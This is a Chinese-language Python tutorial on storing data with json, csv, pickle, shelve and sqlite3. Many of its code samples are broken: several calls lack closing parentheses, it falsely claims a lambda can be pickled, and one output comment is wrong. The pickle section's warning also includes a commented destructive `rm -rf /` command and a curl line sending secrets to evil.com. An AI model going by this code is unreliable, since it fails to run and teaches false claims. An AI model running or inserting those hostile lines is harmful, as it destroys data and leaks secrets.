持久化存储核心：json, csv, pickle, shelve, sqlite3 完全指南

import json
from pathlib import Path

# --- 准备数据 ---
records = [
    {"name": "张三", "age": 25, "score": 88.5},
    {"name": "李四", "age": 22, "score": 95.0},
]

db = Path("data/users.json")
db.parent.mkdir(exist_ok=True)

# --- 写入 JSON 文件 ---
# json.dump(): 直接写入文件对象，无需中间字符串
with db.open("w", encoding="utf-8") as f:
    json.dump(
        records,                  # 要序列化的 Python 对象
        f,                        # 文件对象
        ensure_ascii=False,       # 允许中文原样输出（不转义为 \uXXXX）
        indent=2,                 # 缩进 2 空格，增强可读性
        sort_keys=False,          # 是否按键名排序（配置文件可设为 True）
    )

# --- 读取 JSON 文件 ---
# json.load(): 直接从文件对象读取
with db.open(encoding="utf-8") as f:
    loaded = json.load(f)         # 返回原始的 Python 列表

print(loaded)
# [{'name': '张三', 'age': 25, 'score': 88.5},
#  {'name': '李四', 'age': 22, 'score': 95.0}]

# --- 字符串操作 ---
# json.dumps() / json.loads(): 操作字符串，常用于网络传输
json_str = json.dumps(records, ensure_ascii=False)  # 序列化为字符串
restored = json.loads(json_str)                       # 反序列化为 Python 对象

import json
import datetime
from decimal import Decimal

# --- 方式一：default 参数（简单场景） ---
def custom_default(obj):
    """自定义序列化 fallback 函数"""
    if isinstance(obj, datetime.datetime):
        return obj.isoformat()           # datetime → ISO 8601 字符串
    if isinstance(obj, datetime.date):
        return obj.isoformat()           # date → ISO 8601 字符串
    if isinstance(obj, Decimal):
        return float(obj)                # Decimal → float
    if isinstance(obj, set):
        return sorted(list(obj))         # set → 排序后的列表
    raise TypeError(f"Object of type {type(obj).__name__} is not JSON serializable")

data = {
    "created_at": datetime.datetime.now(),
    "price": Decimal("19.99"),
    "tags": {1, 2, 3},
}

json_str = json.dumps(data, default=custom_default, ensure_ascii=False)
print(json_str)
# {"created_at": "2026-06-04T10:30:00", "price": 19.99, "tags": [1, 2, 3]}

# --- 方式二：继承 JSONEncoder（复用场景） ---
class EnhancedEncoder(json.JSONEncoder):
    """可复用的自定义 JSON 编码器"""
    def default(self, obj):
        if isinstance(obj, (datetime.datetime, datetime.date)):
            return obj.isoformat()
        if isinstance(obj, Decimal):
            return float(obj)
        if isinstance(obj, set):
            return sorted(list(obj)
        return super().default(obj)       # 兜底：交给父类抛出 TypeError

# 使用 cls 参数指定编码器
json_str2 = json.dumps(data, cls=EnhancedEncoder, ensure_ascii=False)

import json
import datetime

def datetime_hook(obj: dict) -> dict:
    """反序列化钩子：识别 ISO 格式的日期字符串并还原"""
    for key, value in obj.items():
        if isinstance(value, str):
            # 尝试解析 ISO 8601 格式的日期时间
            try:
                obj[key] = datetime.datetime.fromisoformat(value)
            except (ValueError, TypeError):
                pass
    return obj

json_str = '{"name": "test", "created_at": "2026-06-04T10:30:00"}'
data = json.loads(json_str, object_hook=datetime_hook)

print(type(data["created_at"]))  # <class 'datetime.datetime'>
print(data["created_at"].year)   # 2026

import json

data = {"名称": "Python教程", "版本": 3.12, "作者": "Guido"}

# 配置文件风格：可读性优先
pretty = json.dumps(data, ensure_ascii=False, indent=2, sort_keys=True)
print("=== 配置文件风格 ===")
print(pretty)

# 网络传输风格：体积优先
compact = json.dumps(data, ensure_ascii=False, separators=(',', ':')
print("=== 网络传输风格 ===")
print(compact)
# {"名称":"Python教程","版本":3.12,"作者":"Guido"}

import json
import jsonschema

# 1. 定义 Schema（数据契约）
schema = {
    "type": "object",
    "required": ["name", "age"],
    "properties": {
        "name":  {"type": "string", "minLength": 1},
        "age":   {"type": "integer", "minimum": 0},
        "email": {"type": "string", "format": "email"},
    },
}

# 2. 校验数据
data = {"name": "Alice", "age": 25, "email": "alice@example.com"}
try:
    jsonschema.validate(instance=data, schema=schema)
    print("校验通过!")
except jsonschema.ValidationError as e:
    print(f"校验失败: {e.message}")

import csv
from pathlib import Path

rows = [
    ["ID", "Name", "Department"],
    [1, "Alice", "Engineering"],
    [2, "Bob", "Marketing"],
    [3, "Charlie, Jr.", "Engineering"],  # 包含逗号的字段会被自动引用
]

output_path = Path("data/employees.csv")
output_path.parent.mkdir(exist_ok=True)

# --- 写入 CSV ---
with open(output_path, "w", newline="", encoding="utf-8") as fh:
    # newline="" 是强制参数，避免 Windows 上出现多余空行
    writer = csv.writer(fh)
    writer.writerows(rows)              # 写入多行

# --- 读取 CSV ---
with open(output_path, "r", newline="", encoding="utf-8") as fh:
    reader = csv.reader(fh)
    header = next(reader)               # 读取并跳过表头
    print(f"Header: {header}")
    for row in reader:
        # row 是字符串列表: ['1', 'Alice', 'Engineering']
        print(f"Read row: {row}")

import csv
from pathlib import Path

output_path = Path("data/scores.csv")

# --- 写入 CSV（字典模式） ---
with open(output_path, "w", newline="", encoding="utf-8") as fh:
    fieldnames = ["name", "score", "exam_date"]   # 定义表头和字典的键
    writer = csv.DictWriter(fh, fieldnames=fieldnames)

    writer.writeheader()                # 写入表头行
    writer.writerow({"name": "Alice", "score": 95, "exam_date": "2023-10-26"})
    writer.writerow({"name": "Bob", "score": 88, "exam_date": "2023-10-27"})
    # 缺失字段会自动填入空字符串

# --- 读取 CSV（字典模式） ---
with open(output_path, "r", newline="", encoding="utf-8") as fh:
    reader = csv.DictReader(fh)         # 自动使用第一行作为表头
    for row in reader:
        # row 是字典: {'name': 'Alice', 'score': '95', 'exam_date': '2023-10-26'}
        print(f"Name: {row['name']}, Score: {row['score']}")

import csv

# 假设有一个分号分隔的文件
tsv_content = "Name;Score\nAlice;95\nBob;88"

# --- 使用 Sniffer 自动检测格式 ---
sniffer = csv.Sniffer()
dialect = sniffer.sniff(tsv_content)
print(f"检测到分隔符: {dialect.delimiter}")  # ;

# --- 注册自定义方言，方便复用 ---
csv.register_dialect('semicolon', delimiter=';', quoting=csv.QUOTE_NONE)
reader = csv.reader(tsv_content.splitlines(), dialect='semicolon')
for row in reader:
    print(row)

import pickle
from pathlib import Path

# --- 准备复杂对象 ---
state = {
    "model": (lambda x: x + 1),        # 函数也可以被 pickle
    "epoch": 10,
    "history": {"loss": [0.1, 0.05], "acc": [0.9, 0.95]}
}

output_path = Path("data/checkpoint.pkl")
output_path.parent.mkdir(exist_ok=True)

# --- 序列化到文件 ---
with open(output_path, "wb") as fh:    # 注意：二进制模式 "wb"
    # HIGHEST_PROTOCOL 自动选择最高协议版本，性能最优
    pickle.dump(state, fh, protocol=pickle.HIGHEST_PROTOCOL)

# --- 从文件反序列化 ---
with open(output_path, "rb") as fh:    # 注意：二进制模式 "rb"
    restored_state = pickle.load(fh)

print(restored_state["model"](5))       # 输出 6

# --- 恶意 pickle 示例（仅演示，切勿使用） ---
# 一个精心构造的 .pkl 文件可以在 load 时执行：
# os.system('rm -rf /')          # 删除文件
# subprocess.run(['curl', 'http://evil.com/?data=' + secrets])  # 窃取数据

# --- 安全替代方案：自定义 JSON 结构 ---
import json

class Model:
    def __init__(self, name, params):
        self.name = name
        self.params = params

    def to_dict(self):
        """手动定义序列化格式"""
        return {"__type__": "Model", "name": self.name, "params": self.params}

    @classmethod
    def from_dict(cls, data):
        """手动反序列化，类型完全可控"""
        if data.get("__type__") != "Model":
            raise ValueError("Unknown type")
        return cls(data["name"], data["params"])

# 序列化
model = Model("GPT", {"layers": 12, "dim": 768})
json_str = json.dumps(model.to_dict()

# 反序列化（安全！只重建已知类型）
restored = Model.from_dict(json.loads(json_str)

import shelve
from pathlib import Path

db_path = Path("data/my_shelf")
db_path.parent.mkdir(exist_ok=True)

# --- 写入 ---
with shelve.open(str(db_path)) as db:
    db["user_profile"] = {"name": "Alice", "theme": "dark"}
    db["last_login"] = "2023-10-27T10:00:00"

# --- 读取 ---
with shelve.open(str(db_path)) as db:
    print(db["user_profile"])
    # 修改嵌套对象必须先取出、修改、再写回
    profile = db["user_profile"]
    profile["theme"] = "light"
    db["user_profile"] = profile       # 必须写回才能持久化

# --- writeback 模式 ---
with shelve.open(str(db_path), writeback=True) as db:
    db["user_profile"]["theme"] = "dark"  # 修改自动写回
    # 注意：writeback=True 在 close 时会重新序列化所有缓存对象，大对象性能差

import sqlite3
from pathlib import Path

db_path = Path("data/app.db")
db_path.parent.mkdir(exist_ok=True)

# ========== 1. 连接与建表 ==========
conn = sqlite3.connect(db_path)           # 文件不存在则自动创建
conn.row_factory = sqlite3.Row            # 让结果行支持按列名访问

cur = conn.cursor()
cur.execute("""
    CREATE TABLE IF NOT EXISTS users (
        id    INTEGER PRIMARY KEY,        -- 自增主键
        name  TEXT    NOT NULL,           -- 非空约束
        score REAL    NOT NULL DEFAULT 0  -- 默认值
    )
""")

# ========== 2. Create：插入数据 ==========
# 单条插入
cur.execute(
    "INSERT INTO users (name, score) VALUES (?, ?)",
    ("Alice", 95.5)                       # 使用 ? 占位符防止 SQL 注入
)

# 批量插入（更高效）
users_to_add = [("Bob", 88.0), ("Charlie", 72.5), ("Diana", 91.0)]
cur.executemany(
    "INSERT INTO users (name, score) VALUES (?, ?)",
    users_to_add
)

conn.commit()                             # 提交事务，写入磁盘

# ========== 3. Read：查询数据 ==========
# 条件查询
cur.execute("SELECT * FROM users WHERE score >= ?", (90,)
high_scorers = cur.fetchall()
for row in high_scorers:
    print(f"ID: {row['id']}, Name: {row['name']}, Score: {row['score']}")

# 聚合查询
cur.execute("SELECT COUNT(*) as cnt, AVG(score) as avg_score FROM users")
stats = cur.fetchone()
print(f"总人数: {stats['cnt']}, 平均分: {stats['avg_score']:.1f}")

# ========== 4. Update：更新数据 ==========
cur.execute(
    "UPDATE users SET score = ? WHERE name = ?",
    (100.0, "Alice")
)
conn.commit()

# ========== 5. Delete：删除数据 ==========
cur.execute("DELETE FROM users WHERE score < ?", (80,)
conn.commit()

# ========== 6. 关闭连接 ==========
conn.close()

import sqlite3

db_path = "data/app.db"

# --- 推荐方式：with 语句自动管理事务 ---
with sqlite3.connect(db_path) as conn:
    conn.row_factory = sqlite3.Row
    conn.execute("INSERT INTO users (name, score) VALUES (?, ?)", ("Eve", 85.0)
    conn.execute("UPDATE users SET score = ? WHERE name = ?", (96.0, "Bob")
    # with 块正常结束 → 自动 commit
    # with 块抛出异常 → 自动 rollback

import sqlite3
from contextlib import contextmanager

@contextmanager
def get_db_connection(db_path: str):
    """数据库连接上下文管理器：确保连接始终被关闭"""
    conn = sqlite3.connect(db_path)
    conn.row_factory = sqlite3.Row
    try:
        yield conn
    finally:
        conn.close()                      # 无论如何都关闭连接

# 使用
with get_db_connection("data/app.db") as conn:
    rows = conn.execute("SELECT * FROM users LIMIT 5").fetchall()
    for row in rows:
        print(row["name"])

with sqlite3.connect("data/app.db") as conn:
    # 在频繁查询的列上创建索引
    conn.execute("CREATE INDEX IF NOT EXISTS idx_users_name ON users (name)")
    conn.execute("CREATE INDEX IF NOT EXISTS idx_users_score ON users (score DESC)")

    # 查看查询计划（验证索引是否被使用）
    plan = conn.execute("EXPLAIN QUERY PLAN SELECT * FROM users WHERE name = ?",
                        ("Alice",)).fetchall()
    for row in plan:
        print(row)

import sqlite3
import hashlib

def sha256_hash(text: str) -> str:
    """自定义标量函数：计算 SHA-256 哈希"""
    return hashlib.sha256(text.encode('utf-8')).hexdigest()

with sqlite3.connect(":memory:") as conn:
    # 注册自定义函数：函数名、参数个数、函数实现
    conn.create_function("sha256", 1, sha256_hash)

    result = conn.execute("SELECT sha256(?)", ("hello world",)).fetchone()
    print(f"SHA-256: {result[0]}")

import sqlite3

with sqlite3.connect("data/app.db") as conn:
    # 1. 开启 WAL 模式：读写不冲突
    conn.execute("PRAGMA journal_mode=WAL;")

    # 2. 调整同步级别（性能 vs 安全的权衡）
    conn.execute("PRAGMA synchronous=NORMAL;")  # NORMAL: 折中; OFF: 最快但不安全

    # 3. 增大缓存（提升重复读取性能）
    conn.execute("PRAGMA cache_size=-64000;")   # 64MB 缓存

    # 4. 批量操作（最关键的优化）
    data = [(f"user_{i}", float(i % 100)) for i in range(100000)]
    conn.executemany("INSERT INTO users (name, score) VALUES (?, ?)", data)
    # 整个 with 块是一个事务，比逐条 commit 快 10-100 倍

import json
data = {"名称": "Python教程"}
print(json.dumps(data)
# {"名称": "Python教程"}  ← 中文被转义了

# 设置 ensure_ascii=False + encoding="utf-8"
json_str = json.dumps(data, ensure_ascii=False)
print(json_str)
# {"名称": "Python教程"}  ← 中文原样输出

# 写入文件时也要指定编码
with open("data.json", "w", encoding="utf-8") as f:
    json.dump(data, f, ensure_ascii=False)

import sqlite3

# 方案一：开启 WAL 模式（推荐，读写不冲突）
conn = sqlite3.connect("data/app.db")
conn.execute("PRAGMA journal_mode=WAL;")

# 方案二：增加超时等待（等待锁释放而非立即报错）
conn = sqlite3.connect("data/app.db", timeout=30)  # 等待最多 30 秒

# 方案三：多线程中使用 check_same_thread=False（需自行保证线程安全）
# conn = sqlite3.connect("data/app.db", check_same_thread=False)

# 方案四（多进程）：使用连接池或让写入操作串行化

import csv

# 方案一：逐行处理（内存占用极小）
with open("huge.csv", "r", newline="", encoding="utf-8") as fh:
    reader = csv.DictReader(fh)
    for row in reader:
        process(row)                   # 每次只处理一行

# 方案二：分块读取（需要批量处理时）
chunk_size = 10000
with open("huge.csv", "r", newline="", encoding="utf-8") as fh:
    reader = csv.DictReader(fh)
    chunk = []
    for i, row in enumerate(reader):
        chunk.append(row)
        if len(chunk) >= chunk_size:
            batch_process(chunk)
            chunk = []
    if chunk:                          # 处理剩余行
        batch_process(chunk)

# 方案三：使用 pandas 分块读取（更强大）
import pandas as pd
for chunk in pd.read_csv("huge.csv", chunksize=10000):
    process(chunk)                     # chunk 是一个 DataFrame

import json
import os
from pathlib import Path

def atomic_json_dump(data, target_path: str):
    """原子化写入 JSON：先写临时文件，再原子替换"""
    target = Path(target_path)
    target.parent.mkdir(exist_ok=True)
    temp = target.with_suffix(".tmp")

    # 1. 写入临时文件
    with open(temp, "w", encoding="utf-8") as f:
        json.dump(data, f, ensure_ascii=False, indent=2)
        f.flush()                      # 刷新缓冲区
        os.fsync(f.fileno())           # 强制写入磁盘

    # 2. 原子替换（os.replace 在所有 OS 上都是原子操作）
    os.replace(temp, target)

# 使用
config = {"host": "localhost", "port": 8080}
atomic_json_dump(config, "data/config.json")

import csv
from datetime import datetime

def convert_row(row: dict) -> dict:
    """手动类型转换：CSV 读取的值全部是字符串"""
    converters = {
        "age":   int,
        "score": float,
        "date":  lambda s: datetime.strptime(s, "%Y-%m-%d"),
    }
    for key, converter in converters.items():
        if key in row and row[key]:
            try:
                row[key] = converter(row[key])
            except (ValueError, TypeError):
                pass                   # 转换失败则保留原字符串
    return row

with open("data.csv", "r", newline="", encoding="utf-8") as fh:
    reader = csv.DictReader(fh)
    for row in reader:
        row = convert_row(row)
        print(type(row["age"]))        # <class 'int'>